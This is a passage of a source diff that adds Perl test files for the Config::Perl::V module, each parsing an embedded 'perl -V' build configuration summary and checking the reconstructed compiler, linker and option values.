+ cc => "cl",
+ cccdlflags => "",
+ ccdlflags => "",
+ config_args => "undef",
+ gccversion => "",
+ gnulibc_version => "",
+ ivsize => 4,
+ ivtype => "long",
+ ld => "link",
+ lddlflags => q{-dll -nologo -nodefaultlib -debug -opt:ref,icf -ltcg -libpath:"c:\perl\lib\CORE" -machine:x86 "/manifestdependency:type='Win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'" -subsystem:console,"5.01"},
+ ldflags => q{-nologo -nodefaultlib -debug -opt:ref,icf -ltcg -libpath:"c:\perl\lib\CORE" -machine:x86 "/manifestdependency:type='Win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'" -subsystem:console,"5.01"},
+ libc => "msvcrt.lib",
+ lseektype => "__int64",
+ osvers => "6.1",
+ use64bitall => "undef",
+ use64bitint => "undef",
+ );
+is ($conf->{config}{$_}, $check{$_}, "reconstructed \$Config{$_}") for sort keys %check;
+
+__END__
+Summary of my perl5 (revision 5 version 23 subversion 5) configuration:
+
+ Platform:
+ osname=MSWin32, osvers=6.1, archname=MSWin32-x86-multi-thread
+ uname=''
+ config_args='undef'
+ hint=recommended, useposix=true, d_sigaction=undef
+ useithreads=define, usemultiplicity=define
+ use64bitint=undef, use64bitall=undef, uselongdouble=undef
+ usemymalloc=n, bincompat5005=undef
+ Compiler:
+ cc='cl', ccflags ='-nologo -GF -W3 -O1 -MD -Zi -DNDEBUG -GL -DWIN32 -D_CONSOLE -DNO_STRICT -D_CRT_SECURE_NO_DEPRECATE -D_CRT_NONSTDC_NO_DEPRECATE -DPERL_TEXTMODE_SCRIPTS -DPERL_IMPLICIT_CONTEXT -DPERL_IMPLICIT_SYS',
+ optimize='-O1 -MD -Zi -DNDEBUG -GL',
+ cppflags='-DWIN32'
+ ccversion='18.00.31101', gccversion='', gccosandvers=''
+ intsize=4, longsize=4, ptrsize=4, doublesize=8, byteorder=1234, doublekind=3
+ d_longlong=undef, longlongsize=8, d_longdbl=define, longdblsize=8, longdblkind=0
+ ivtype='long', ivsize=4, nvtype='double', nvsize=8, Off_t='__int64', lseeksize=8
+ alignbytes=8, prototype=define
+ Linker and Libraries:
+ ld='link', ldflags ='-nologo -nodefaultlib -debug -opt:ref,icf -ltcg -libpath:"c:\perl\lib\CORE" -machine:x86 "/manifestdependency:type='Win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'" -subsystem:console,"5.01"'
+ libpth=\lib
+ libs=oldnames.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib netapi32.lib uuid.lib ws2_32.lib mpr.lib winmm.lib version.lib odbc32.lib odbccp32.lib comctl32.lib msvcrt.lib
+ perllibs=oldnames.lib kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib netapi32.lib uuid.lib ws2_32.lib mpr.lib winmm.lib version.lib odbc32.lib odbccp32.lib comctl32.lib msvcrt.lib
+ libc=msvcrt.lib, so=dll, useshrplib=true, libperl=perl523.lib
+ gnulibc_version=''
+ Dynamic Linking:
+ dlsrc=dl_win32.xs, dlext=dll, d_dlsymun=undef, ccdlflags=' '
+ cccdlflags=' ', lddlflags='-dll -nologo -nodefaultlib -debug -opt:ref,icf -ltcg -libpath:"c:\perl\lib\CORE" -machine:x86 "/manifestdependency:type='Win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'" -subsystem:console,"5.01"'
+
+
+Characteristics of this binary (from libperl):
+ Compile-time options: HAS_TIMES HAVE_INTERP_INTERN MULTIPLICITY
+ PERLIO_LAYERS PERL_COPY_ON_WRITE
+ PERL_DONT_CREATE_GVSV
+ PERL_HASH_FUNC_ONE_AT_A_TIME_HARD
+ PERL_IMPLICIT_CONTEXT PERL_IMPLICIT_SYS
+ PERL_MALLOC_WRAP PERL_PRESERVE_IVUV USE_ITHREADS
+ USE_LARGE_FILES USE_LOCALE USE_LOCALE_COLLATE
+ USE_LOCALE_CTYPE USE_LOCALE_NUMERIC USE_LOCALE_TIME
+ USE_PERLIO USE_PERL_ATOF
+ Built under MSWin32
+ Compiled at Nov 19 2015 00:18:50
+ @INC:
+ C:/p523/src/lib
+ .
diff --git a/gnu/usr.bin/perl/cpan/Config-Perl-V/t/30_plv5240.t b/gnu/usr.bin/perl/cpan/Config-Perl-V/t/30_plv5240.t
new file mode 100644
index 00000000000..6b717d69e77
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Config-Perl-V/t/30_plv5240.t
@@ -0,0 +1,132 @@
+#!/pro/bin/perl
+
+use strict;
+use warnings;
+
+BEGIN {
+ use Test::More;
+ my $tests = 127;
+ unless ($ENV{PERL_CORE}) {
+ require Test::NoWarnings;
+ Test::NoWarnings->import ();
+ $tests++;
+ }
+
+ plan tests => $tests;
+ }
+
+use Config::Perl::V qw( summary );
+
+ok (my $conf = Config::Perl::V::plv2hash (<DATA>), "Read perl -v block");
+ok (exists $conf->{$_}, "Has $_ entry") for qw( build environment config inc );
+
+is ($conf->{build}{osname}, $conf->{config}{osname}, "osname");
+is ($conf->{build}{stamp}, "May 10 2016 15:39:18", "Build time");
+is ($conf->{config}{version}, "5.24.0", "reconstructed \$Config{version}");
+
+my $opt = Config::Perl::V::plv2hash ("")->{build}{options};
+foreach my $o (sort qw(
+ DEBUGGING HAS_TIMES MULTIPLICITY PERLIO_LAYERS PERL_COPY_ON_WRITE
+ PERL_DONT_CREATE_GVSV PERL_HASH_FUNC_ONE_AT_A_TIME_HARD
+ PERL_TRACK_MEMPOOL PERL_IMPLICIT_CONTEXT PERL_MALLOC_WRAP
+ PERL_PRESERVE_IVUV USE_64_BIT_ALL USE_64_BIT_INT USE_ITHREADS
+ USE_LARGE_FILES USE_LOCALE USE_LOCALE_COLLATE
+ USE_LOCALE_CTYPE USE_LOCALE_NUMERIC USE_LOCALE_TIME
+ USE_LONG_DOUBLE USE_PERLIO USE_PERL_ATOF USE_REENTRANT_API
+ )) {
+ is ($conf->{build}{options}{$o}, 1, "Runtime option $o set");
+ delete $opt->{$o};
+ }
+foreach my $o (sort keys %$opt) {
+ is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset");
+ }
+
+eval { require Digest::MD5; };
+my $md5 = $@ ? "0" x 32 : "3dffae79f6d2c74073f0d64646709101";
+ok (my $sig = Config::Perl::V::signature ($conf), "Get signature");
+is ($sig, $md5, "MD5");
+
+is_deeply ($conf->{build}{patches}, [], "No local patches");
+
+my %check = (
+ alignbytes => 16,
+ api_version => 24,
+ bincompat5005 => "undef",
+ byteorder => 12345678,
+ cc => "cc",
+ cccdlflags => "-fPIC",
+ ccdlflags => "-Wl,-E",
+ config_args => "-Duse64bitall -Duselongdouble -Dusethreads -Duseithreads -des",
+ gccversion => "5.3.1 20160412 [gcc-5-branch revision 234894]",
+ gnulibc_version => "2.23",
+ ivsize => 8,
+ ivtype => "long",
+ ld => "cc",
+ lddlflags => "-shared -O2 -L/pro/local/lib -fstack-protector-strong",
+ ldflags => "-L/pro/local/lib -fstack-protector-strong",
+ libc => "libc-2.23.so",
+ lseektype => "off_t",
+ osvers => "4.5.2-1-default",
+ use64bitall => "define",
+ use64bitint => "define",
+ usemymalloc => "n",
+ default_inc_excludes_dot
+ => "undef",
+ );
+is ($conf->{config}{$_}, $check{$_}, "reconstructed \$Config{$_}") for sort keys %check;
+
+ok (my $info = summary ($conf), "A summary");
+ok (exists $info->{$_}, "Summary has $_") for qw( cc config_args usemymalloc default_inc_excludes_dot );
+is ($info->{default_inc_excludes_dot}, "undef", "This build has . in INC");
+
+__END__
+Summary of my perl5 (revision 5 version 24 subversion 0) configuration:
+
+ Platform:
+ osname=linux, osvers=4.5.2-1-default, archname=x86_64-linux-thread-multi-ld
+ uname='linux lx09 4.5.2-1-default #1 smp preempt thu apr 21 09:07:52 utc 2016 (0454a6e) x86_64 x86_64 x86_64 gnulinux '
+ config_args='-Duse64bitall -Duselongdouble -Dusethreads -Duseithreads -des'
+ hint=recommended, useposix=true, d_sigaction=define
+ useithreads=define, usemultiplicity=define
+ use64bitint=define, use64bitall=define, uselongdouble=define
+ usemymalloc=n, bincompat5005=undef
+ Compiler:
+ cc='cc', ccflags ='-D_REENTRANT -D_GNU_SOURCE -fPIC -DDEBUGGING -fwrapv -fno-strict-aliasing -pipe -fstack-protector-strong -I/pro/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -D_FORTIFY_SOURCE=2',
+ optimize='-O2',
+ cppflags='-D_REENTRANT -D_GNU_SOURCE -fPIC -DDEBUGGING -fwrapv -fno-strict-aliasing -pipe -fstack-protector-strong -I/pro/local/include'
+ ccversion='', gccversion='5.3.1 20160412 [gcc-5-branch revision 234894]', gccosandvers=''
+ intsize=4, longsize=8, ptrsize=8, doublesize=8, byteorder=12345678, doublekind=3
+ d_longlong=define, longlongsize=8, d_longdbl=define, longdblsize=16, longdblkind=3
+ ivtype='long', ivsize=8, nvtype='long double', nvsize=16, Off_t='off_t', lseeksize=8
+ alignbytes=16, prototype=define
+ Linker and Libraries:
+ ld='cc', ldflags ='-L/pro/local/lib -fstack-protector-strong'
+ libpth=/usr/local/lib /usr/lib64/gcc/x86_64-suse-linux/5/include-fixed /usr/lib64/gcc/x86_64-suse-linux/5/../../../../x86_64-suse-linux/lib /usr/lib /pro/local/lib /lib/../lib64 /usr/lib/../lib64 /lib /lib64 /usr/lib64 /usr/local/lib64
+ libs=-lpthread -lnsl -lgdbm -ldb -ldl -lm -lcrypt -lutil -lc -lgdbm_compat
+ perllibs=-lpthread -lnsl -ldl -lm -lcrypt -lutil -lc
+ libc=libc-2.23.so, so=so, useshrplib=false, libperl=libperl.a
+ gnulibc_version='2.23'
+ Dynamic Linking:
+ dlsrc=dl_dlopen.xs, dlext=so, d_dlsymun=undef, ccdlflags='-Wl,-E'
+ cccdlflags='-fPIC', lddlflags='-shared -O2 -L/pro/local/lib -fstack-protector-strong'
+
+
+Characteristics of this binary (from libperl):
+ Compile-time options: DEBUGGING HAS_TIMES MULTIPLICITY PERLIO_LAYERS
+ PERL_COPY_ON_WRITE PERL_DONT_CREATE_GVSV
+ PERL_HASH_FUNC_ONE_AT_A_TIME_HARD
+ PERL_IMPLICIT_CONTEXT PERL_MALLOC_WRAP
+ PERL_PRESERVE_IVUV PERL_TRACK_MEMPOOL USE_64_BIT_ALL
+ USE_64_BIT_INT USE_ITHREADS USE_LARGE_FILES
+ USE_LOCALE USE_LOCALE_COLLATE USE_LOCALE_CTYPE
+ USE_LOCALE_NUMERIC USE_LOCALE_TIME USE_LONG_DOUBLE
+ USE_PERLIO USE_PERL_ATOF USE_REENTRANT_API
+ Built under linux
+ Compiled at May 10 2016 15:39:18
+ @INC:
+ lib
+ /pro/lib/perl5/site_perl/5.24.0/x86_64-linux-thread-multi-ld
+ /pro/lib/perl5/site_perl/5.24.0
+ /pro/lib/perl5/5.24.0/x86_64-linux-thread-multi-ld
+ /pro/lib/perl5/5.24.0
+ .
diff --git a/gnu/usr.bin/perl/cpan/Config-Perl-V/t/31_plv52511.t b/gnu/usr.bin/perl/cpan/Config-Perl-V/t/31_plv52511.t
new file mode 100644
index 00000000000..762a63d2e87
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Config-Perl-V/t/31_plv52511.t
@@ -0,0 +1,187 @@
+#!/pro/bin/perl
+
+use strict;
+use warnings;
+
+BEGIN {
+ use Test::More;
+ my $tests = 127;
+ unless ($ENV{PERL_CORE}) {
+ require Test::NoWarnings;
+ Test::NoWarnings->import ();
+ $tests++;
+ }
+
+ plan tests => $tests;
+ }
+
+use Config::Perl::V qw( summary );
+
+ok (my $conf = Config::Perl::V::plv2hash (<DATA>), "Read perl -v block");
+ok (exists $conf->{$_}, "Has $_ entry") for qw( build environment config inc );
+
+is ($conf->{build}{osname}, $conf->{config}{osname}, "osname");
+is ($conf->{build}{stamp}, "Feb 27 2017 15:02:41", "Build time");
+is ($conf->{config}{version}, "5.25.11", "reconstructed \$Config{version}");
+
+my $opt = Config::Perl::V::plv2hash ("")->{build}{options};
+foreach my $o (sort qw(
+ DEBUGGING HAS_TIMES MULTIPLICITY PERLIO_LAYERS PERL_COPY_ON_WRITE
+ PERL_DONT_CREATE_GVSV PERL_TRACK_MEMPOOL PERL_IMPLICIT_CONTEXT
+ PERL_MALLOC_WRAP PERL_OP_PARENT PERL_PRESERVE_IVUV PERL_USE_DEVEL
+ USE_64_BIT_ALL
+ USE_64_BIT_INT USE_ITHREADS USE_LARGE_FILES USE_LOCALE USE_LOCALE_COLLATE
+ USE_LOCALE_CTYPE USE_LOCALE_NUMERIC USE_LOCALE_TIME
+ USE_LONG_DOUBLE USE_PERLIO USE_PERL_ATOF USE_REENTRANT_API
+ )) {
+ is ($conf->{build}{options}{$o}, 1, "Runtime option $o set");
+ delete $opt->{$o};
+ }
+foreach my $o (sort keys %$opt) {
+ is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset");
+ }
+
+eval { require Digest::MD5; };
+my $md5 = $@ ? "0" x 32 : "f0e463400e40ca35b67cec3834b5b9b7";
+ok (my $sig = Config::Perl::V::signature ($conf), "Get signature");
+is ($sig, $md5, "MD5");
+
+is_deeply ($conf->{build}{patches},
+ [ "SMOKEaa9ac6cf00899a6f55881d4ca6c1214215dc83ee" ], "Local patches");
+
+my %check = (
+ alignbytes => 16,
+ api_version => 25,
+ bincompat5005 => "undef",
+ byteorder => 12345678,
+ cc => "cc",
+ cccdlflags => "-fPIC",
+ ccdlflags => "-Wl,-E",
+ config_args => "-des -Dusedevel -Duseithreads -Duse64bitall -Duselongdouble -DDEBUGGING",
+ gccversion => "6.3.1 20170202 [gcc-6-branch revision 245119]",
+ gnulibc_version => "2.24",
+ ivsize => 8,
+ ivtype => "long",
+ ld => "cc",
+ lddlflags => "-shared -O2 -g -L/pro/local/lib -fstack-protector-strong",
+ ldflags => "-L/pro/local/lib -fstack-protector-strong",
+ libc => "libc-2.24.so",
+ lseektype => "off_t",
+ osvers => "4.10.0-1-default",
+ use64bitall => "define",
+ use64bitint => "define",
+ usemymalloc => "n",
+ default_inc_excludes_dot
+ => "undef",
+ );
+is ($conf->{config}{$_}, $check{$_}, "reconstructed \$Config{$_}") for sort keys %check;
+
+ok (my $info = summary ($conf), "A summary");
+ok (exists $info->{$_}, "Summary has $_") for qw( cc config_args usemymalloc default_inc_excludes_dot );
+is ($info->{default_inc_excludes_dot}, "undef", "This build has . in INC");
+
+__END__
+Summary of my perl5 (revision 5 version 25 subversion 11) configuration:
+ Snapshot of: aa9ac6cf00899a6f55881d4ca6c1214215dc83ee
+ Platform:
+ osname=linux
+ osvers=4.10.0-1-default
+ archname=x86_64-linux-thread-multi-ld
+ uname='linux lx09 4.10.0-1-default #1 smp preempt mon feb 20 16:47:26 utc 2017 (81ace5a) x86_64 x86_64 x86_64 gnulinux '
+ config_args='-des -Dusedevel -Duseithreads -Duse64bitall -Duselongdouble -DDEBUGGING'
+ hint=recommended
+ useposix=true
+ d_sigaction=define
+ useithreads=define
+ usemultiplicity=define
+ use64bitint=define
+ use64bitall=define
+ uselongdouble=define
+ usemymalloc=n
+ default_inc_excludes_dot=undef
+ bincompat5005=undef
+ Compiler:
+ cc='cc'
+ ccflags ='-D_REENTRANT -D_GNU_SOURCE -fPIC -DDEBUGGING -fwrapv -DDEBUGGING -fno-strict-aliasing -pipe -fstack-protector-strong -I/pro/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64'
+ optimize='-O2 -g'
+ cppflags='-D_REENTRANT -D_GNU_SOURCE -fPIC -DDEBUGGING -fwrapv -DDEBUGGING -fno-strict-aliasing -pipe -fstack-protector-strong -I/pro/local/include'
+ ccversion=''
+ gccversion='6.3.1 20170202 [gcc-6-branch revision 245119]'
+ gccosandvers=''
+ intsize=4
+ longsize=8
+ ptrsize=8
+ doublesize=8
+ byteorder=12345678
+ doublekind=3
+ d_longlong=define
+ longlongsize=8
+ d_longdbl=define
+ longdblsize=16
+ longdblkind=3
+ ivtype='long'
+ ivsize=8
+ nvtype='long double'
+ nvsize=16
+ Off_t='off_t'
+ lseeksize=8
+ alignbytes=16
+ prototype=define
+ Linker and Libraries:
+ ld='cc'
+ ldflags ='-L/pro/local/lib -fstack-protector-strong'
+ libpth=/usr/local/lib /usr/lib64/gcc/x86_64-suse-linux/6/include-fixed /usr/lib64/gcc/x86_64-suse-linux/6/../../../../x86_64-suse-linux/lib /usr/lib /pro/local/lib /lib/../lib64 /usr/lib/../lib64 /lib /lib64 /usr/lib64 /usr/local/lib64
+ libs=-lpthread -lnsl -lgdbm -ldb -ldl -lm -lcrypt -lutil -lc -lgdbm_compat
+ perllibs=-lpthread -lnsl -ldl -lm -lcrypt -lutil -lc
+ libc=libc-2.24.so
+ so=so
+ useshrplib=false
+ libperl=libperl.a
+ gnulibc_version='2.24'
+ Dynamic Linking:
+ dlsrc=dl_dlopen.xs
+ dlext=so
+ d_dlsymun=undef
+ ccdlflags='-Wl,-E'
+ cccdlflags='-fPIC'
+ lddlflags='-shared -O2 -g -L/pro/local/lib -fstack-protector-strong'
+
+
+Characteristics of this binary (from libperl):
+ Compile-time options:
+ DEBUGGING
+ HAS_TIMES
+ MULTIPLICITY
+ PERLIO_LAYERS
+ PERL_COPY_ON_WRITE
+ PERL_DONT_CREATE_GVSV
+ PERL_IMPLICIT_CONTEXT
+ PERL_MALLOC_WRAP
+ PERL_OP_PARENT
+ PERL_PRESERVE_IVUV
+ PERL_TRACK_MEMPOOL
+ PERL_USE_DEVEL
+ USE_64_BIT_ALL
+ USE_64_BIT_INT
+ USE_ITHREADS
+ USE_LARGE_FILES
+ USE_LOCALE
+ USE_LOCALE_COLLATE
+ USE_LOCALE_CTYPE
+ USE_LOCALE_NUMERIC
+ USE_LOCALE_TIME
+ USE_LONG_DOUBLE
+ USE_PERLIO
+ USE_PERL_ATOF
+ USE_REENTRANT_API
+ Locally applied patches:
+ SMOKEaa9ac6cf00899a6f55881d4ca6c1214215dc83ee
+ Built under linux
+ Compiled at Feb 27 2017 15:02:41
+ @INC:
+ lib
+ /pro/lib/perl5/site_perl/5.25.11/x86_64-linux-thread-multi-ld
+ /pro/lib/perl5/site_perl/5.25.11
+ /pro/lib/perl5/5.25.11/x86_64-linux-thread-multi-ld
+ /pro/lib/perl5/5.25.11
+ .
diff --git a/gnu/usr.bin/perl/cpan/Config-Perl-V/t/32_plv5261rc1.t b/gnu/usr.bin/perl/cpan/Config-Perl-V/t/32_plv5261rc1.t
new file mode 100644
index 00000000000..9250016b7af
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Config-Perl-V/t/32_plv5261rc1.t
@@ -0,0 +1,183 @@
+#!/pro/bin/perl
+
+use strict;
+use warnings;
+
+BEGIN {
+ use Test::More;
+ my $tests = 127;
+ unless ($ENV{PERL_CORE}) {
+ require Test::NoWarnings;
+ Test::NoWarnings->import ();
+ $tests++;
+ }
+
+ plan tests => $tests;
+ }
+
+use Config::Perl::V qw( summary );
+
+ok (my $conf = Config::Perl::V::plv2hash (<DATA>), "Read perl -v block");
+ok (exists $conf->{$_}, "Has $_ entry") for qw( build environment config inc );
+
+is ($conf->{build}{osname}, $conf->{config}{osname}, "osname");
+is ($conf->{build}{stamp}, "Sep 19 2017 11:20:22", "Build time");
+is ($conf->{config}{version}, "5.26.1", "reconstructed \$Config{version}");
+
+my $opt = Config::Perl::V::plv2hash ("")->{build}{options};
+foreach my $o (sort qw(
+ DEBUGGING HAS_TIMES MULTIPLICITY PERLIO_LAYERS PERL_COPY_ON_WRITE
+ PERL_DONT_CREATE_GVSV PERL_OP_PARENT
+ PERL_TRACK_MEMPOOL PERL_IMPLICIT_CONTEXT PERL_MALLOC_WRAP
+ PERL_PRESERVE_IVUV USE_64_BIT_ALL USE_64_BIT_INT USE_ITHREADS
+ USE_LARGE_FILES USE_LOCALE USE_LOCALE_COLLATE
+ USE_LOCALE_CTYPE USE_LOCALE_NUMERIC USE_LOCALE_TIME
+ USE_LONG_DOUBLE USE_PERLIO USE_PERL_ATOF USE_REENTRANT_API
+ )) {
+ is ($conf->{build}{options}{$o}, 1, "Runtime option $o set");
+ delete $opt->{$o};
+ }
+foreach my $o (sort keys %$opt) {
+ is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset");
+ }
+
+eval { require Digest::MD5; };
+my $md5 = $@ ? "0" x 32 : "dd710670fec7d2e260414648dcc94e89";
+ok (my $sig = Config::Perl::V::signature ($conf), "Get signature");
+is ($sig, $md5, "MD5");
+
+is_deeply ($conf->{build}{patches}, [ "RC1" ], "No local patches");
+
+my %check = (
+ alignbytes => 16,
+ api_version => 26,
+ bincompat5005 => "undef",
+ byteorder => 12345678,
+ cc => "ccache cc",
+ cccdlflags => "-fPIC",
+ ccdlflags => "-Wl,-E",
+ config_args => "-Duse64bitall -Duselongdouble -Dusethreads -Duseithreads -Uversiononly -Dinc_version_list=none -des",
+ gccversion => "4.8.3 20140627 [gcc-4_8-branch revision 212064]",
+ gnulibc_version => "2.19",
+ ivsize => 8,
+ ivtype => "long",
+ ld => "ccache cc",
+ lddlflags => "-shared -O2 -L/pro/local/lib -fstack-protector",
+ ldflags => "-L/pro/local/lib -fstack-protector",
+ libc => "libc-2.19.so",
+ lseektype => "off_t",
+ osvers => "3.16.7-32-desktop",
+ use64bitall => "define",
+ use64bitint => "define",
+ usemymalloc => "n",
+ default_inc_excludes_dot
+ => "define",
+ );
+is ($conf->{config}{$_}, $check{$_}, "reconstructed \$Config{$_}") for sort keys %check;
+
+ok (my $info = summary ($conf), "A summary");
+ok (exists $info->{$_}, "Summary has $_") for qw( cc config_args usemymalloc default_inc_excludes_dot );
+is ($info->{default_inc_excludes_dot}, "define", "This build has . in INC");
+
+__END__
+Summary of my perl5 (revision 5 version 26 subversion 1) configuration:
+
+ Platform:
+ osname=linux
+ osvers=3.16.7-32-desktop
+ archname=x86_64-linux-thread-multi-ld
+ uname='linux sv02 3.16.7-32-desktop #1 smp preempt wed jan 20 14:05:33 utc 2016 (d4df98a) x86_64 x86_64 x86_64 gnulinux '
+ config_args='-Duse64bitall -Duselongdouble -Dusethreads -Duseithreads -Uversiononly -Dinc_version_list=none -des'
+ hint=recommended
+ useposix=true
+ d_sigaction=define
+ useithreads=define
+ usemultiplicity=define
+ use64bitint=define
+ use64bitall=define
+ uselongdouble=define
+ usemymalloc=n
+ default_inc_excludes_dot=define
+ bincompat5005=undef
+ Compiler:
+ cc='ccache cc'
+ ccflags ='-D_REENTRANT -D_GNU_SOURCE -fPIC -DDEBUGGING -fwrapv -fno-strict-aliasing -pipe -fstack-protector -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -D_FORTIFY_SOURCE=2'
+ optimize='-O2'
+ cppflags='-D_REENTRANT -D_GNU_SOURCE -fPIC -DDEBUGGING -fwrapv -fno-strict-aliasing -pipe -fstack-protector'
+ ccversion=''
+ gccversion='4.8.3 20140627 [gcc-4_8-branch revision 212064]'
+ gccosandvers=''
+ intsize=4
+ longsize=8
+ ptrsize=8
+ doublesize=8
+ byteorder=12345678
+ doublekind=3
+ d_longlong=define
+ longlongsize=8
+ d_longdbl=define
+ longdblsize=16
+ longdblkind=3
+ ivtype='long'
+ ivsize=8
+ nvtype='long double'
+ nvsize=16
+ Off_t='off_t'
+ lseeksize=8
+ alignbytes=16
+ prototype=define
+ Linker and Libraries:
+ ld='ccache cc'
+ ldflags ='-L/pro/local/lib -fstack-protector'
+ libpth=/usr/local/lib /usr/lib64/gcc/x86_64-suse-linux/4.8/include-fixed /usr/lib64/gcc/x86_64-suse-linux/4.8/../../../../x86_64-suse-linux/lib /usr/lib /pro/local/lib /lib/../lib64 /usr/lib/../lib64 /lib /lib64 /usr/lib64 /usr/local/lib64
+ libs=-lpthread -lnsl -ldb -ldl -lm -lcrypt -lutil -lc
+ perllibs=-lpthread -lnsl -ldl -lm -lcrypt -lutil -lc
+ libc=libc-2.19.so
+ so=so
+ useshrplib=false
+ libperl=libperl.a
+ gnulibc_version='2.19'
+ Dynamic Linking:
+ dlsrc=dl_dlopen.xs
+ dlext=so
+ d_dlsymun=undef
+ ccdlflags='-Wl,-E'
+ cccdlflags='-fPIC'
+ lddlflags='-shared -O2 -L/pro/local/lib -fstack-protector'
+
+
+Characteristics of this binary (from libperl):
+ Compile-time options:
+ DEBUGGING
+ HAS_TIMES
+ MULTIPLICITY
+ PERLIO_LAYERS
+ PERL_COPY_ON_WRITE
+ PERL_DONT_CREATE_GVSV
+ PERL_IMPLICIT_CONTEXT
+ PERL_MALLOC_WRAP
+ PERL_OP_PARENT
+ PERL_PRESERVE_IVUV
+ PERL_TRACK_MEMPOOL
+ USE_64_BIT_ALL
+ USE_64_BIT_INT
+ USE_ITHREADS
+ USE_LARGE_FILES
+ USE_LOCALE
+ USE_LOCALE_COLLATE
+ USE_LOCALE_CTYPE
+ USE_LOCALE_NUMERIC
+ USE_LOCALE_TIME
+ USE_LONG_DOUBLE
+ USE_PERLIO
+ USE_PERL_ATOF
+ USE_REENTRANT_API
+ Locally applied patches:
+ RC1
+ Built under linux
+ Compiled at Sep 19 2017 11:20:22
+ @INC:
+ /pro/lib/perl5/site_perl/5.26.1/x86_64-linux-thread-multi-ld
+ /pro/lib/perl5/site_perl/5.26.1
+ /pro/lib/perl5/5.26.1/x86_64-linux-thread-multi-ld
+ /pro/lib/perl5/5.26.1
diff --git a/gnu/usr.bin/perl/cpan/Config-Perl-V/t/33_plv52711r.t b/gnu/usr.bin/perl/cpan/Config-Perl-V/t/33_plv52711r.t
new file mode 100644
index 00000000000..851c224bde4
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Config-Perl-V/t/33_plv52711r.t
@@ -0,0 +1,183 @@
+#!/pro/bin/perl
+
+use strict;
+use warnings;
+
+BEGIN {
+ use Test::More;
+ my $tests = 127;
+ unless ($ENV{PERL_CORE}) {
+ require Test::NoWarnings;
+ Test::NoWarnings->import ();
+ $tests++;
+ }
+
+ plan tests => $tests;
+ }
+
+use Config::Perl::V qw( summary );
+
+ok (my $conf = Config::Perl::V::plv2hash (<DATA>), "Read perl -v block");
+ok (exists $conf->{$_}, "Has $_ entry") for qw( build environment config inc );
+
+is ($conf->{build}{osname}, $conf->{config}{osname}, "osname");
+is ($conf->{build}{stamp}, "Apr 12 2018 13:37:01", "Build time");
+is ($conf->{config}{version}, "5.27.11", "reconstructed \$Config{version}");
+
+my $opt = Config::Perl::V::plv2hash ("")->{build}{options};
+foreach my $o (sort qw(
+ DEBUGGING HAS_TIMES MULTIPLICITY PERLIO_LAYERS PERL_COPY_ON_WRITE
+ PERL_DONT_CREATE_GVSV PERL_TRACK_MEMPOOL PERL_IMPLICIT_CONTEXT
+ PERL_MALLOC_WRAP PERL_OP_PARENT PERL_PRESERVE_IVUV PERL_USE_DEVEL
+ USE_64_BIT_ALL
+ USE_64_BIT_INT USE_ITHREADS USE_LARGE_FILES USE_LOCALE USE_LOCALE_COLLATE
+ USE_LOCALE_CTYPE USE_LOCALE_NUMERIC USE_LOCALE_TIME
+ USE_LONG_DOUBLE USE_PERLIO USE_PERL_ATOF USE_REENTRANT_API
+ )) {
+ is ($conf->{build}{options}{$o}, 1, "Runtime option $o set");
+ delete $opt->{$o};
+ }
+foreach my $o (sort keys %$opt) {
+ is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset");
+ }
+
+eval { require Digest::MD5; };
+my $md5 = $@ ? "0" x 32 : "bd9cf7a142ddbb434adea5b08eaefdc8";
+ok (my $sig = Config::Perl::V::signature ($conf), "Get signature");
+is ($sig, $md5, "MD5");
+
+is_deeply ($conf->{build}{patches}, [], "Local patches");
+
+my %check = (
+ alignbytes => 16,
+ api_version => 27,
+ bincompat5005 => "undef",
+ byteorder => 12345678,
+ cc => "cc",
+ cccdlflags => "-fPIC",
+ ccdlflags => "-Wl,-E",
+ config_args => "-Dusedevel -Duse64bitall -Dusethreads -Duseithreads -Duselongdouble -des",
+ gccversion => "7.3.1 20180307 [gcc-7-branch revision 258314]",
+ gnulibc_version => "2.27",
+ ivsize => 8,
+ ivtype => "long",
+ ld => "cc",
+ lddlflags => "-shared -O2 -L/pro/local/lib -fstack-protector-strong",
+ ldflags => "-L/pro/local/lib -fstack-protector-strong",
+ libc => "libc-2.27.so",
+ lseektype => "off_t",
+ osvers => "4.16.0-1-default",
+ use64bitall => "define",
+ use64bitint => "define",
+ usemymalloc => "n",
+ default_inc_excludes_dot
+ => "define",
+ );
+is ($conf->{config}{$_}, $check{$_}, "reconstructed \$Config{$_}") for sort keys %check;
+
+ok (my $info = summary ($conf), "A summary");
+ok (exists $info->{$_}, "Summary has $_") for qw( cc config_args usemymalloc default_inc_excludes_dot );
+is ($info->{default_inc_excludes_dot}, "define", "This build does not have . in INC");
+
+__END__
+Summary of my perl5 (revision 5 version 27 subversion 11) configuration:
+ Snapshot of: 5f6af817add6d2df3603e0e94b6eb27ba5fb3970
+ Platform:
+ osname=linux
+ osvers=4.16.0-1-default
+ archname=x86_64-linux-thread-multi-ld
+ uname='linux lx09 4.16.0-1-default #1 smp preempt wed apr 4 13:35:56 utc 2018 (e16f96d) x86_64 x86_64 x86_64 gnulinux '
+ config_args='-Dusedevel -Duse64bitall -Dusethreads -Duseithreads -Duselongdouble -des'
+ hint=recommended
+ useposix=true
+ d_sigaction=define
+ useithreads=define
+ usemultiplicity=define
+ use64bitint=define
+ use64bitall=define
+ uselongdouble=define
